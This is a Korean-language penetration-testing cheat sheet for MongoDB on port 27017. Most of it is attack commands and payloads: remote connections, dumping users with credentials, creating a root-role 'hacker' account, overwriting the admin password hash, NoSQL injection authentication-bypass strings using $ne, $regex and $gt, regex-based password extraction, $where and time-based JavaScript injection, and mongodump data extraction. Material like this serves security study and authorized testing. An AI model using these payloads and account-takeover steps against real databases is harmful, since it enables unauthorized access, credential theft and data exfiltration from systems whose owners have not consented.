Skip to main content

MongoDB - 27017

MongoDB NoSQL 데이터베이스 연결 및 공격 기법 모음입니다.

연결 방법​

mongo 클라이언트​

# 로컬 연결
mongo

# 원격 연결
mongo <RHOST>
mongo <RHOST>:<PORT>
mongo "mongodb://<RHOST>:27017"

# 인증 연결
mongo <RHOST>/<DATABASE> -u <USERNAME> -p <PASSWORD>
mongo "mongodb://<USERNAME>:<PASSWORD>@<RHOST>:27017/<DATABASE>"

# 연결 문자열
mongo "mongodb://localhost:27017"

mongosh (새 버전)​

mongosh
mongosh "mongodb://<RHOST>:27017"
mongosh --host <RHOST> --port 27017
mongosh -u <USERNAME> -p <PASSWORD> --authenticationDatabase admin

기본 명령어​

데이터베이스 관리​

show dbs; // 데이터베이스 목록
show databases; // 데이터베이스 목록
use <DATABASE>; // 데이터베이스 선택/생성
db; // 현재 데이터베이스
db.stats(); // 데이터베이스 통계
db.getName(); // 데이터베이스 이름

컬렉션 (테이블) 관리​

show collections; // 컬렉션 목록
show tables; // 컬렉션 목록
db.getCollectionNames(); // 컬렉션 이름 배열
db.<COLLECTION>.stats(); // 컬렉션 통계

사용자 및 권한​

show users; // 사용자 목록
db.getUsers(); // 사용자 상세 정보
db.getUsers({showCredentials: true}); // 자격증명 포함

use admin;
db.system.users.find(); // 모든 사용자 조회

데이터 조회​

db.<COLLECTION>.find(); // 모든 문서
db.<COLLECTION>.find().pretty(); // 포맷된 출력
db.<COLLECTION>.findOne(); // 첫 번째 문서
db.<COLLECTION>.find({username: "admin"}); // 조건 검색
db.<COLLECTION>.find().limit(10); // 개수 제한
db.<COLLECTION>.count(); // 문서 개수

일반적인 컬렉션​

db.users.find();
db.users.find().pretty();
db.accounts.find();
db.accounts.find().pretty();
db.system.keys.find();
db.admin.find();

데이터 조작​

문서 삽입​

db.<COLLECTION>.insert({username: "hacker", password: "pass123"});
db.<COLLECTION>.insertOne({username: "admin", role: "admin"});
db.<COLLECTION>.insertMany([{...}, {...}]);

문서 수정​

db.<COLLECTION>.update({username: "admin"}, {$set: {password: "newpass"}});
db.<COLLECTION>.updateOne({username: "admin"}, {$set: {role: "superadmin"}});

비밀번호 재설정 (해시)​

bcrypt 해시 "12345":

db.getCollection('users').update(
{username: "admin"},
{ $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } }
);

문서 삭제​

db.<COLLECTION>.remove({username: "user"});
db.<COLLECTION>.deleteOne({username: "user"});
db.<COLLECTION>.deleteMany({}); // 모든 문서 삭제

사용자 관리​

사용자 생성​

use admin;
db.createUser({
user: "hacker",
pwd: "password",
roles: [{role: "root", db: "admin"}]
});

사용자 권한 부여​

db.grantRolesToUser("hacker", [{role: "root", db: "admin"}]);

사용자 삭제​

db.dropUser("username");

NoSQL Injection​

인증 우회​

URL 파라미터​

username=admin&password[$ne]=dummy
username[$ne]=dummy&password[$ne]=dummy
username[$regex]=.*&password[$regex]=.*
username[$gt]=&password[$gt]=

JSON​

{"username": "admin", "password": {"$ne": null}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

POST 데이터​

username[$ne]=admin&password[$ne]=pass

연산자 악용​

MongoDB 연산자:

$eq - 같음
$ne - 같지 않음
$gt - 크다
$gte - 크거나 같다
$lt - 작다
$lte - 작거나 같다
$in - 배열 내 존재
$nin - 배열 내 존재하지 않음
$regex - 정규식 매칭
$where - JavaScript 표현식

예제 페이로드​

// 항상 참
admin' || '1'=='1
admin' || ''=='
{"$where": "1==1"}

// 정규식으로 비밀번호 추출
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ad"}}
{"username": "admin", "password": {"$regex": "^adm"}}

JavaScript Injection​

{"username": {"$where": "this.username == 'admin'"}}
{"$where": "sleep(5000)"} // Time-based

명령 실행 (매우 제한적)​

MongoDB는 직접적인 OS 명령 실행을 지원하지 않지만, 설정 파일이나 JavaScript를 통한 우회가 가능할 수 있습니다.

JavaScript 함수 실행​

db.eval("function() { return 'test'; }"); // MongoDB 3.0 이후 제거됨

정보 수집​

서버 정보​

db.version();
db.serverStatus();
db.serverBuildInfo();
db.hostInfo();

설정 확인​

db.adminCommand({getCmdLineOpts: 1});
db.adminCommand({getParameter: '*'});

데이터베이스 인덱스​

db.<COLLECTION>.getIndexes();

데이터 추출​

전체 데이터 덤프​

db.<COLLECTION>.find().forEach(printjson);

특정 필드만 추출​

db.users.find({}, {username: 1, password: 1, _id: 0});

백업 및 복구​

mongodump​

mongodump
mongodump --host <RHOST> --port 27017
mongodump --db <DATABASE>
mongodump --collection <COLLECTION>

mongorestore​

mongorestore dump/
mongorestore --host <RHOST> --port 27017 dump/

보안 점검​

인증 없는 접근 확인​

mongo <RHOST>:27017
# 접속되면 인증 없이 접근 가능

민감한 정보 검색​

db.users.find({}, {password: 1});
db.getCollection('sessions').find();
db.config.find();

참고​

  • MongoDB는 기본적으로 27017 포트 사용
  • 기본 설정에서 인증 비활성화되어 있을 수 있음
  • NoSQL Injection은 JSON 파라미터에서 발생
  • $ne, $regex 등의 연산자 남용 주의
  • db.eval()은 MongoDB 3.0+에서 제거됨
  • 인증 우회 시 [$ne] 연산자가 효과적
  • JavaScript 함수 실행은 보안상 제한됨